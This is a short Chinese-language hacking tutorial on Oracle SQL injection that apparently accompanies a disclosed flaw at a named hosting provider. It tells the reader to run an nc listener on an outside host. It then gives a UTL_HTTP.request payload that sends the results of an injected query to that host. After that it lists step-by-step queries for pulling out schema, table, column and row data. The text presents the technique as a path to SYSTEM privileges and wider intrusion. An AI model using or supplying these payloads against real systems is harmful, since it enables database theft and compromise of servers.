首先外網(wǎng)nc監(jiān)聽對(duì)應(yīng)的端口
and UTL_HTTP.request('外網(wǎng)ip:port/'||(sql語句))=1--
爆庫:
select owner from all_tables where rownum=1
select owner from all_tables where owner<>'第一個(gè)庫名'
and rownum=1
select owner from all_tables where owner<>'第一個(gè)庫名'
and owner<>'第二個(gè)'and rownum=1
select owner from all_tables where owner<>'第一個(gè)庫名'
and owner<>'第一個(gè)庫名' and rownum=1
以此論推
爆表:
select TABLE_NAME from all_tables where owner='庫名'
and rownum=1
select TABLE_NAME from all_tables where owner='庫名'
and rownum=1 and TABLE_NAME<>'表名1'
select TABLE_NAME from all_tables where owner='庫名'and rownum=1
and TABLE_NAME<>'表名1' and TABLE_NAME<>'表名2'
以此論推
爆列:
select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1
select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1 and COLUMN_NAME<>'第一個(gè)爆出的列名'
select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1 and COLUMN_NAME<>'第一個(gè)爆出的列名' and COLUMN_NAME<>'第二個(gè)爆出的列名'
爆內(nèi)容:
第一個(gè)內(nèi)容:select 列名 from 表名 where rownum=1
第二個(gè)內(nèi)容:select 列名 from 表名 where rownum=1 and 列名<>'第一個(gè)值'
第三個(gè)內(nèi)容:select 列名 from 表名 where rownum=1 and 列名<>'第一個(gè)值' and 列名<>'第二個(gè)值'
以此論推
現(xiàn)在大家轉(zhuǎn)過頭來看下“萬網(wǎng)的尷尬-萬網(wǎng)ORACLE注入漏洞曝光http://bbs.exploits.com.cn/read.php?tid-144.html
是不是很明了了...o(∩_∩)o...哈哈
注:
1:在windows環(huán)境下,oracle是以服務(wù)的形式啟動(dòng)的,這樣通過web注射就可以直接獲得system權(quán)限(此部分內(nèi)容正在整理測(cè)試階段中,以供給大家更直觀、簡潔、有效的參考資料
2:針對(duì)unix和linux操作系統(tǒng)方面對(duì)于Oracle也會(huì)作出分析,相信Oracle注射將會(huì)成為轉(zhuǎn)入高級(jí)Hack入侵的橋梁
更多信息請(qǐng)查看IT技術(shù)專欄